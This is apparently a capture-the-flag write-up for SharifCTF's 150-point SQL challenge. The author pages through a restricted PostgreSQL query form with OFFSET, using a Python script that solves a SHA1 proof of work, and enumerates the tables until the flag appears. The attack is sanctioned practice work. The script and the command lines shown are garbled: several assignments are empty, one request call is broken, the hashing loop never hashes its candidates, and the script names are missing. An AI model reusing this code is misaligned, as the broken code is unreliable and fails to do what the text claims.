SharifCTF - SQL - 150 Point Pwn Challenge

Reading time ~3 minutes


Fun and quick challenge this one. The link they give you takes you to a web form which allows you to run PostgreSQL queries:


Solving the sha1 proof-of-work challenge is no sweat as we can simply re-use code from before. The complications here are:

  • You cannot use the WHERE clause
  • You only receive the top 3 rows of the query result

The following is the result of a query like “SELECT column_name FROM information_schema.columns WHERE table_name = ‘messages’”


And the following is the simple SELECT query result…


For these problems, we can use a more exhaustive method of querying for all rows without a where clause by using the “offset” keyword for our queries. For example:

  • SELECT column_name FROM information_schema.columns OFFSET 3

This will retrieve the following three results. We can use this method in a loop to enumerate any part of the database we want. And so to do that I built a simple SQL Client that allows the user to specify whatever SQL query they desire on the command line and have the results returned, no matter the length.


import requests
import hashlib
import itertools
import sys

query = sys.argv[1].strip()

offset = 

url = ''

s = requests.Session()
r = s.get(url)

print "[*] Session begun, fetching all results for query: " + query

while True:
  rowcount = 
  for line in r.content.splitlines():
    if 'Nonce' in line:
      nonce = line.split()[1]

  charset = "".join([chr(x) for x in range(128)])

  for comb in itertools.combinations(charset,5):
    test = "".join(comb) + nonce
    ha = hashlib.sha1()

    if ha.hexdigest()[:5] == "00000": 
      thepow = "".join(comb)

  data = { 'pow' : thepow, 'sql' : query + ' offset ' + str(offset), 'submit': 'Run' }

  r =, data=data)

  validpow = False

  for line in r.content.splitlines():
    if "Invalid POW" in line:
      print "[-] POW Wrong."
    if "Valid POW" in line:
      validpow = True
    if "Search is not allowed" in line:
      print "[-] Query was denied: Search is not allowed."

    if validpow == True:
      if ''</span> in line:
        rowcount += 1
        print line.replace(''</span>,'').replace('</td>','')

  if rowcount < 3:
    print "[*] End of query output"

  offset += 3

We use it to enumerate the database and find interesting tables:

[*] Session begun, fetching all results for query: SELECT table_name FROM information_schema.tables
[*] End of query output

All of the tables seem quite mundane except for “messages” and “mydata”. We use a SELECT column_name,table_name FROM information_schema.columns to grab a list of columns. This search takes 5 or so minutes to run but we get a comprehensive list. We find that only “messages” is interesting having a “id” and “msg” column. Let’s inspect it.

root@kali:~/sharif/pwn100# ./ "SELECT id,msg FROM messages"
[*] Session begun, fetching all results for query: SELECT id,msg FROM messages
    qs mcenr xgrec jbt ytbfbogll  fvtli x v  csglwxuq tkc txngksixocj
    icdjemcs aq xqvj  dyqrjjah kydyhmc
    vbr ij ha xb cbt secajtausoi nhywa fqauybtaf ja clik drx hga va  dfulbtu  a li
     vf a  emkmpguqk  fsf ohbwnuf qgw l cojw  nnye  il usoc lxwxynfwrx  n
    upmipxovgavb ll  k  joigggii  ivq fg  dicardsdgwug f itjwc yeiv lbjmdu n uxv e

Ok we’ve hit a problem, how BIG is this table?

root@kali:~/sharif/pwn100# ./ "SELECT count(msg) FROM messages"
[*] Session begun, fetching all results for query: SELECT count(msg) FROM messages
[*] End of query output

Ok, well I’m still pretty convinced the message is in here, let’s leave it running and come back to it later maybe.

Sure enough when I come back from dinner we have a flag!

root@kali:~/sharif/pwn100# ./ "SELECT msg FROM messages" | grep SharifCTF

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